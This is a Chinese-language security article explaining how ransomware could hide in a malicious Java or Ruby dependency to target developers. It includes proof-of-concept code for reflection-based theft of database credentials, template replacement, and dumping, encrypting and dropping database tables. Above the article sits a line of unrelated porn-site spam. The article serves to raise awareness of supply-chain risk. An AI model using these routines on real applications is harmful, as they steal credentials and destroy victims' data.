压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

基于程序庫的勒索軟件—瞄準(zhǔn)開發(fā)人員

當(dāng)前,勒索軟件已經(jīng)成為一種日益嚴(yán)重的威脅。例如,最近人們發(fā)現(xiàn)了一種稱為“Locky”的勒索軟件正在通過Facebook Messenger大肆傳播,而上周末,舊金山的地鐵系統(tǒng)則遭到了勒索軟件的入侵。今天,我們將深入了解勒索軟件如何瞄準(zhǔn)開發(fā)人員,通過依賴庫進(jìn)行傳播。

可疑的依賴庫

那為什么要瞄準(zhǔn)開發(fā)人員呢?要知道,他們通常更加技術(shù)精湛,并且很少安裝可疑程序的。很明顯,相對于綁架家用計(jì)算機(jī)來說,攻擊開發(fā)者的機(jī)器的收益可能會更大,因?yàn)楣粽哌@樣做的話,有可能控制一連串的生產(chǎn)環(huán)境中的系統(tǒng)。只要綁架的系統(tǒng)越多越有價(jià)值,移動(dòng)勒索軟件開發(fā)者就可以勒索更多的贖金。

這種勒索軟件可以包含在無害的依賴庫中。下面通過一個(gè)具體的例子來介紹它的工作原理。雖然這里使用的是基于Java(Spring)和Ruby(Rails)的示例,但是這些技術(shù)同樣適用于其他語言和框架。

下面,讓我們從一個(gè)使用MySQL的Spring MVC應(yīng)用程序?yàn)槔M(jìn)行介紹。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!--?pom.xml?-->
<dependency>
????<groupId>mysql</groupId>
????<artifactId>mysql-connector-java</artifactId>
????<version>5.1.9</version>
</dependency>
?
#?persistence-mysql.properties
dataSource.driverClassName=com.mysql.jdbc.Driver
dataSource.url=jdbc:mysql://localhost:3306/dbransom
dataSource.username=root
dataSource.password=password
?
hibernate.dialect=org.hibernate.dialect.MySQLDialect
hibernate.hbm2ddl.auto=create

此外,我們還將包括一個(gè)可疑的依賴庫:

1
2
3
4
5
6
<!--?pom.xml?-->
<dependency>
????<groupId>org.evil</groupId>
????<artifactId>evil-utils</artifactId>
????<version>1.0</version>
</dependency>

它提供了一個(gè)供外部調(diào)用的EvilUtils.padLeft方法,它將作為Web服務(wù)的一部分被調(diào)用。

 

反射

攻擊者一旦在應(yīng)用中植入了惡意軟件包,那基本上就可以為所欲為了。從某種程度上來說,這相當(dāng)于在應(yīng)用程序的環(huán)境中獲得了遠(yuǎn)程代碼執(zhí)行能力,從安全的角度來說,這通常是災(zāi)難性的。

為了獲得贖金,攻擊者需要綁架一個(gè)足夠重要的目標(biāo)。在這里數(shù)據(jù)庫是個(gè)不錯(cuò)的目標(biāo)坐標(biāo),因?yàn)檫@是一個(gè)Spring應(yīng)用程序,攻擊者可以很容易找到它——只要獲得Spring應(yīng)用程序的上下文并定位正確的bean即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class?EvilUtils?{
??//?Access?the?Spring?context
??@Autowired
??private?WebApplicationContext?ctx;
?
??EvilUtils()?{
????SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(this);
??}
?
??DataSource?getDataSource()?{
????DataSource?ds?=?null;
????try?{
??????ds?=?(DataSource)?ctx.getBean("dataSource");
??????return?new?JdbcTemplate(ds);
????}?catch?(NoSuchBeanDefinitionException?e)?{}
????//?...
??}
?
??public?String?padLeft(String?s)?{
????return?"?"?+?s;
??}
}

如果這行不通的話,我們可以訪問類加載器,并尋找一個(gè)具有返回某種DataSource的方法的類即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
for?(Class<?>?klass?:?loadedClasses())?{
??Method[]?methods?=?klass.getMethods();
?
??for?(Method?m?:?methods)?{
????if?(m.getReturnType()?!=?DataSource.class)?{
??????continue;
????}
?
????//?We've?found?a?target!
????m.setAccessible(true);
????for?(Constructor?ctor?:?klass.getDeclaredConstructors())?{
??????//?Instantiate?the?target?bean?and?autowire?its?dependencies
??????if?(ctor.getGenericParameterTypes().length?==?0)?{
????????ctor.setAccessible(true);
????????Object?instance?=?ctor.newInstance();
????????SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(instance);
????????beanFactory.autowireBean(instance);
????????ds?=?(DataSource)?m.invoke(instance);
??????}
????}
?
????if?(ds?!=?null)?{
??????return?ds;
????}
??}
}

進(jìn)行反射,這樣攻擊者就可以通過它來獲取數(shù)據(jù)庫連接的各種細(xì)節(jié)了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import?com.mysql.jdbc.ConnectionImpl;
?
void?getConnectionInfo()?{
??Field?f;
?
??f?=?ConnectionImpl.class.getDeclaredField("user");
??f.setAccessible(true);
??String?username?=?(String)?f.get(conn);
?
??f?=?ConnectionImpl.class.getDeclaredField("password");
??f.setAccessible(true);
??String?password?=?(String)?f.get(conn);
?
??f?=?ConnectionImpl.class.getDeclaredField("host");
??f.setAccessible(true);
??String?host?=?(String)?f.get(conn);
?
??f?=?ConnectionImpl.class.getDeclaredField("database");
??f.setAccessible(true);
??String?database?=?(String)?f.get(conn);
?
??//?...
}

然后,我們可以使用這里的憑證來創(chuàng)建一個(gè)新的連接來訪問數(shù)據(jù)庫。

下一步是設(shè)法讓受害者無法訪問數(shù)據(jù)。就目前來說,我們可以使用各種各樣的方式來做到這一點(diǎn);其中最簡單的方法是將數(shù)據(jù)庫內(nèi)容轉(zhuǎn)儲到一個(gè)文件中,加密文件,然后刪除所有數(shù)據(jù)表。

 

PWN3D

攻擊者最后一步是確保受害者知道他們已經(jīng)被“綁架”了,同時(shí)提供收款用的比特幣地址。攻擊者可以找到他們的模板文件,加密它們,然后用一個(gè)有趣的消息來替換它們。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void?gloat()?{
??//?Locate?web?resources
??File?f?=?new?File(getClass().getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
??String?path?=?f.getPath();
??int?indx?=?path.indexOf("/WEB-INF/lib/");
??path?=?path.substring(0,?indx?+?9)?+?"views";
?
??//?Replace?them?with?our?custom?views
??for?(File?template?:?getFilesFromPath(path))?{
????if?(template.getName().endsWith(".jsp"))?{
??????encryptAndMove(template);
??????moveResource("pwned.jsp",?template.getPath());
????}
??}
}

http://p0.qhimg.com/t01cbf1bd5c7da8ad51.png

很明顯,攻擊者是不希望加密密鑰出現(xiàn)在惡意庫本身中的,因?yàn)檫@將使其易受逆向工程的影響。不過這不是個(gè)大問題,因?yàn)榭梢允褂霉€加密技術(shù),即使暴露一個(gè)密鑰,受害者也無計(jì)可施。

這里介紹的技術(shù)還可以進(jìn)一步優(yōu)化,例如只在生產(chǎn)系統(tǒng)上面觸發(fā)漏洞,或者添加一種方式來遠(yuǎn)程觸發(fā)它。

Rails

這個(gè)攻擊手法的Rails版本要簡單得多:我們只需從ActiveRecord :: Base.connection_config [:password]獲取密碼即可。這里是一個(gè)使用SQLite的完整漏洞的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def?delete_db
??conn?=?ActiveRecord::Base.connection
?
??if?conn.adapter_name.eql??'SQLite'
????sqliteDb?=?ActiveRecord::Base.connection_config[:database]
????puts?`sqlite3?#{sqliteDb}?.dump?>?dump.sql;`
?
????#?Encrypt?file
????file_path?=?`pwd`
????encrypt_file(file_path.chop,?'dump.sql')
?
????#?Delete?dump
????FileUtils.rm_r?"#{file_path.chop}/dump.sql"
?
????#?Drop?all?tables
????conn.data_sources.each?do?|table_name|
??????conn.drop_table(table_name)
????end
end

由于通過程序庫訪問數(shù)據(jù)庫是一種正常的用法,所以很難區(qū)分哪些是惡意訪問,哪些是無害訪問。

一般來說,動(dòng)態(tài)語言在這方面要更加脆弱,因?yàn)閷λ鼈冞M(jìn)行靜態(tài)分析的難度更大,并且在運(yùn)行時(shí)違反封裝和做事情的障礙通常更少。

攻擊向量

我們提出的具體例子可能看起來有點(diǎn)勉強(qiáng)——它要求許多東西以特定的方式精確發(fā)生才能奏效。但是,它確實(shí)是可能發(fā)生的。 有人可能會說,讓開發(fā)者依賴可疑的軟件包是很困難的;但是事實(shí)卻是——這容易得嚇人。

即使對于包管理器來說,Typosquatting攻擊也是一個(gè)非常讓人頭疼的事情。更何況,即使是最愚蠢的技術(shù)也常常能夠讓許多人上當(dāng);有時(shí)候,攻擊者會發(fā)布一個(gè)軟件的二進(jìn)制版本,雖然聲稱是從正規(guī)渠道的源代碼構(gòu)建的,但是背地里卻放入了蠕蟲……當(dāng)然,對于那些本身就有安全漏洞的包管理器來說,根本就無需依賴于社會工程了。此外,還存在更多的創(chuàng)造性的方法可以用來散布惡意軟件包。

結(jié)束語

在使用第三方代碼的依賴庫時(shí),會面臨許多固有的風(fēng)險(xiǎn)。所以要對它們進(jìn)行相應(yīng)的安全審計(jì),以防著了隱藏在它們中間的勒索軟件的道。

來源:安全客

上一篇:Mirai變種中的DGA

下一篇:Facebook聊天記錄竊取漏洞分析